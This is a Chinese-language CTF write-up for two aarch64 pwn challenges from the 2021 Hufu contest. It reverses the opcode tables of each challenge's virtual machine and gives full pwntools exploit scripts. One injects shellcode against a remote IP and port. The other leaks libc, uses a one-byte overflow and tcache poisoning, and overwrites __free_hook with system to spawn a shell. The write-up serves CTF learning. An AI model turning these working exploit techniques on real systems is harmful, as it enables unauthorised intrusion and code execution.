虎符2021_pwn
# 虎符2021 pwn题目
# quit
# 逆向分析
这个aarch的调试, 在这里 (opens new window)写了一些, 就是用ida去挂gdb的server, 这里是qemu开启的gdbserver,
然后进行调试以后这个就是个简单的虚拟机,
程序流程如下:
首先是读取字符, 根据不同字符进行映射, 这里有一个映射的规律,
(但是我没保存脚本, 挺简单的来着, 通过地址.rodata:00000000000012F8的0xff大小的一个数组进行查找, 得到映射出来的opcode, 这里我保存了结果:
opcode: disasm: number
2: *mmap_mem++: 42 *
4: put(mmap_mem): 64 @
3: *mmap_mem--: 47 /
6: ..: 91 [
7: ..: 93 ]
1: mmap_mem++: 41 )
5: write one byte to mmap_mem: 35 #
0: mmap_mem--: 40 (
9: jmp to mmap_mem: 71 G
8: exit: 0
10: nop: 1
2
3
4
5
6
7
8
9
10
11
12
# 漏洞和exp
其实也有点像一个brainfuck, 主要的是9指令, 跳过去运行, 我们通过5号指令写入shellcode, 跳过去即可,
于是就, 先写入数据(5号, "#" ), 然后指针++(1号, "(") , 然后指针减shellcode起始地址(0号, ")"), 然后跳过去执行即可(9号, "G"),
于是payload应该如下:
shell = asm(shellcraft.aarch64.sh())
leng = len(shell)
payload = "#)" * leng + "(" * leng + "G"
2
3
4
于是直接写一个exp打即可,
from pwn import *
context(os='linux', arch='aarch64', log_level='debug')
cn = remote("8.140.179.11", 51322)
shell = asm(shellcraft.aarch64.sh())
leng = len(shell)
payload = "#)" * leng + "(" * leng + "G"
cn.sendline(payload)
cn.sendline(shell)
cn.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
# apollo
# 逆向分析
# opcode映射
这个分析起来可能比较复杂了, 仍然是一台虚拟机,
进行调试和汇编层面的分析, 大概是输入的字符和通过.rodata:0000004000003770 opcode_map
数组转为opcode后运行, 导出数组并恢复映射关系:
arr = [10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 1, 3, 11, 4, 11, 2, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 0, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 7, 11, 11, 8, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 9, 11, 11, 6, 11, 11, 11, 5, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]
opcode = []
for i in range(0x100):
if arr[i] not in opcode:
print(chr(i), arr[i])
opcode.append(arr[i])
2
3
4
5
6
7
8
9
如下:
M 0 initmap(w, l)
* 1 newcar(w, l, lowsize, hightsize)
/ 2 delecar(w, l)
+ 3 setmap(w, l, flag)
- 4 zeromap(w, l)
w 5
s 6
a 7
d 8
p 9 putsport
0 10 exit
1 11 nop
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# opcode分析
分析以后发现v0算是个全局变量, 于是通过结构体表示,并逐步调试确定变量名,
结构体如下:
代码分析结果如下:
opcode-0 new_map(w, l):
opcode-1 new_car(w, l, size_low, size_hight)
opcode-2 dele_car(w, l)
opcode-3 set_map1_flag(w, l)
opcode-4 zero_map1_flag(w, l)
opcode-5 w_map2_up()
opcode-6 s_map2_down()
opcode-7 a_map2_left()
opcode-8 d_map2_right()
opcode-9 show()
opcode-10 exit()
opcode-11 nop()
# 漏洞分析
根据hint可以知道, 主要的漏洞点在于wsad在map2中跑动的时候, 会检查map1的对应的标记位, 如果是0就运行一步, 如果为2/3会运行两步, 这里就是在边界利用跳两步实现一个越界修改一个字符,
而且只能在边缘越界一次, 所以我们可以使用s()配合矩形的大小l可以实现比较远距离的修改一个字符,
调试的话, 在qemu中的地址固定, 所以调试一次找到基地址以后断点和堆内存都是固定的,
# 漏洞利用
利用思路:
2.27, 存在一个字节的修改,
首先通过unsorted-bin泄漏出来libc, 然后一个字节修改构造overlap, 配合tcache实现任意地址分配, free_hook修改为system, 稳定getshell,
# exp
首先简单写下对应的函数:
def op2(op, x, y):
return op.encode() + p8(x) + p8(y)
def op3(op, x, y, z):
return op.encode() + p8(x) + p8(y) + p8(z)
def op4(op, x, y, z, a):
return op.encode() + p8(x) + p8(y) + p8(z) + p8(a)
def map(l, w):
return op2('M', l, w)
def new(w, l, size, con):
data.append(con)
return op4('*', w, l, size&0xff, (size>>8) & 0xff)
def add(w, l, size):
return op4('*', w, l, size&0xff, (size>>8) & 0xff)
def dele(w, l):
return op2('/', w, l)
def set(w, l, f):
return op3('+', w, l, f)
def zero(w, l):
return op4('-', w, l)
def w(num):
return 'w' * num
def s(num):
return 's' * num
def a(num):
return 'a' * num
def d(num):
return 'd' * num
def show():
return 'p'
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
泄漏libc
def exp1():
payload = b''
payload += map(0x10, 0x10)
for i in range(8):
payload += new(0, i, 0x90,'a')
payload += new(1, 1, 0x20, 'b')
for i in range(8):
payload += dele(0, i)
for i in range(7):
payload += new(0, i, 0x90,'a')
payload += new(0, 7, 0x90, 'a'*7)
payload += show()
payload += w(1)
sla("cmd>", payload)
for i in data:
sl(i)
ru('a' * 7 + '\n')
blibc = u64(cn.recvuntil("\npos:1,1", True).ljust(8, b'\x00')) + 0x4000000000 - 0x154ad0
slog['blibc'] = blibc
hfree = blibc + 0x156630
system = blibc + 0x3f2c8
binsh = blibc + 0x128720
slog['hfree'] = hfree
slog['system'] = system
slog['binsh'] = binsh
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
getshell
def exp2():
binsh = 0x4000989720
system = 0x40008a02c8
hfree = 0x40009b7630
payload = b''
payload = map(0x10, 0x10)
payload += new(0, 4, 0x10, 'a')
payload += new(0, 1, 0x60, 'a')
payload += new(0, 2, 0x60, '/bin/sh\x00')
payload += new(0, 3, 0x60, 'a')
payload += set(0xf, 8, 2)
payload += b's' + b'd' * 8 + b'ws'*0x2c + b's' * 0x30
fakechunk = flat(0, 0, 0, 0x71, hfree)
# fakechunk = '1'*8
payload += dele(0, 3)
payload += dele(0, 1)
payload += dele(0, 4)
payload += new(0, 0, 0x80, fakechunk)
payload += new(0, 1, 0x60, '2')
payload += new(0, 8, 0x60, p64(system))
payload += dele(0, 2)
sla("cmd>", payload)
for i in data:
sl(i)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
两个可以整合起来,
def exp():
payload = b''
payload += map(0x10, 0x10)
payload += add(0, 4, 0x10)
payload += add(0, 1, 0x60)
payload += add(0, 2, 0x60)
payload += add(0, 3, 0x60)
for i in range(8):
payload += add(1, i+1, 0x90)
payload += add(2, 1, 0x10)
for i in range(8):
payload += dele(1, i+1)
for i in range(8):
payload += add(1, i+1, 0x90)
payload += show()
for i in range(8):
payload += dele(1, i+1)
payload += set(0xf, 8, 2)
payload += b's' + b'd' * 8 + b'ws'*0x2c + b's' * 0x30
payload += dele(0, 3)
payload += dele(0, 1)
payload += dele(0, 4)
payload += add(0, 0, 0x80)
payload += add(0, 1, 0x60)
payload += add(0, 8, 0x60)
payload += dele(0, 2)
sla("cmd>", payload)
for i in range(4):
sl('/bin/sh\x00')
for i in range(2*8+1):
sl('a' * 7)
ru('pos:1,8\n'+'a'*7+'\n')
blibc = u64(cn.recvuntil('\npos:', True).ljust(8, b'\x00')) + 0x4000000000 - 0x154ad0
slog['blibc'] = blibc
hfree = blibc + 0x156630
system = blibc + 0x3f2c8
binsh = blibc + 0x128720
slog['hfree'] = hfree
slog['system'] = system
slog['binsh'] = binsh
fakechunk = flat(0, 0, 0, 0x71, hfree)
sl(fakechunk)
sl('a')
sl(p64(system))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
完整exp
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2020 wlz <wlz@kyria>
#
# Distributed under terms of the MIT license.
from pwn import *
def op2(op, x, y):
return op.encode() + p8(x) + p8(y)
def op3(op, x, y, z):
return op.encode() + p8(x) + p8(y) + p8(z)
def op4(op, x, y, z, a):
return op.encode() + p8(x) + p8(y) + p8(z) + p8(a)
def map(l, w):
return op2('M', l, w)
def new(w, l, size, con):
data.append(con)
return op4('*', w, l, size&0xff, (size>>8) & 0xff)
def add(w, l, size):
return op4('*', w, l, size&0xff, (size>>8) & 0xff)
def dele(w, l):
return op2('/', w, l)
def set(w, l, f):
return op3('+', w, l, f)
def zero(w, l):
return op4('-', w, l)
def w(num):
return 'w' * num
def s(num):
return 's' * num
def a(num):
return 'a' * num
def d(num):
return 'd' * num
def show():
return 'p'
data = []
# leak libc
def exp1():
payload = b''
payload += map(0x10, 0x10)
for i in range(8):
payload += new(0, i, 0x90,'a')
payload += new(1, 1, 0x20, 'b')
for i in range(8):
payload += dele(0, i)
for i in range(7):
payload += new(0, i, 0x90,'a')
payload += new(0, 7, 0x90, 'a'*7)
payload += show()
payload += w(1)
sla("cmd>", payload)
for i in data:
sl(i)
ru('a' * 7 + '\n')
blibc = u64(cn.recvuntil("\npos:1,1", True).ljust(8, b'\x00')) + 0x4000000000 - 0x154ad0
slog['blibc'] = blibc
hfree = blibc + 0x156630
system = blibc + 0x3f2c8
binsh = blibc + 0x128720
slog['hfree'] = hfree
slog['system'] = system
slog['binsh'] = binsh
def exp2():
binsh = 0x4000989720
system = 0x40008a02c8
hfree = 0x40009b7630
payload = b''
payload = map(0x10, 0x10)
payload += new(0, 4, 0x10, 'a')
payload += new(0, 1, 0x60, 'a')
payload += new(0, 2, 0x60, '/bin/sh\x00')
payload += new(0, 3, 0x60, 'a')
payload += set(0xf, 8, 2)
payload += b's' + b'd' * 8 + b'ws'*0x2c + b's' * 0x30
fakechunk = flat(0, 0, 0, 0x71, hfree)
# fakechunk = '1'*8
payload += dele(0, 3)
payload += dele(0, 1)
payload += dele(0, 4)
payload += new(0, 0, 0x80, fakechunk)
payload += new(0, 1, 0x60, '2')
payload += new(0, 8, 0x60, p64(system))
payload += dele(0, 2)
sla("cmd>", payload)
for i in data:
sl(i)
def exp():
payload = b''
payload += map(0x10, 0x10)
payload += add(0, 4, 0x10)
payload += add(0, 1, 0x60)
payload += add(0, 2, 0x60)
payload += add(0, 3, 0x60)
for i in range(8):
payload += add(1, i+1, 0x90)
payload += add(2, 1, 0x10)
for i in range(8):
payload += dele(1, i+1)
for i in range(8):
payload += add(1, i+1, 0x90)
payload += show()
for i in range(8):
payload += dele(1, i+1)
payload += set(0xf, 8, 2)
payload += b's' + b'd' * 8 + b'ws'*0x2c + b's' * 0x30
payload += dele(0, 3)
payload += dele(0, 1)
payload += dele(0, 4)
payload += add(0, 0, 0x80)
payload += add(0, 1, 0x60)
payload += add(0, 8, 0x60)
payload += dele(0, 2)
sla("cmd>", payload)
for i in range(4):
sl('/bin/sh\x00')
for i in range(2*8+1):
sl('a' * 7)
ru('pos:1,8\n'+'a'*7+'\n')
blibc = u64(cn.recvuntil('\npos:', True).ljust(8, b'\x00')) + 0x4000000000 - 0x154ad0
slog['blibc'] = blibc
hfree = blibc + 0x156630
system = blibc + 0x3f2c8
binsh = blibc + 0x128720
slog['hfree'] = hfree
slog['system'] = system
slog['binsh'] = binsh
fakechunk = flat(0, 0, 0, 0x71, hfree)
sl(fakechunk)
sl('a')
sl(p64(system))
context.os='linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
slog = {'name' : 111}
local = int(sys.argv[1])
context.arch='aarch64'
if local:
cn = process(['qemu-aarch64', '-g', '1234', './bin'])
# cn = process(['./ld', './bin'], env={"LD_PRELOAD":"./libc"})
else:
cn = process(['qemu-aarch64', './bin'])
re = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda : cn.recv()
ru = lambda x : cn.recvuntil(x)
rl = lambda : cn.recvline()
sd = lambda x : cn.send(x)
sl = lambda x : cn.sendline(x)
ia = lambda : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa = lambda a, b : cn.sendafter(a, b)
sll = lambda x : cn.sendlineafter(':', x)
# after a, send b;
def slog_show():
for i in slog:
success(i + ' ==> ' + hex(slog[i]))
exp()
slog_show()
ia()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212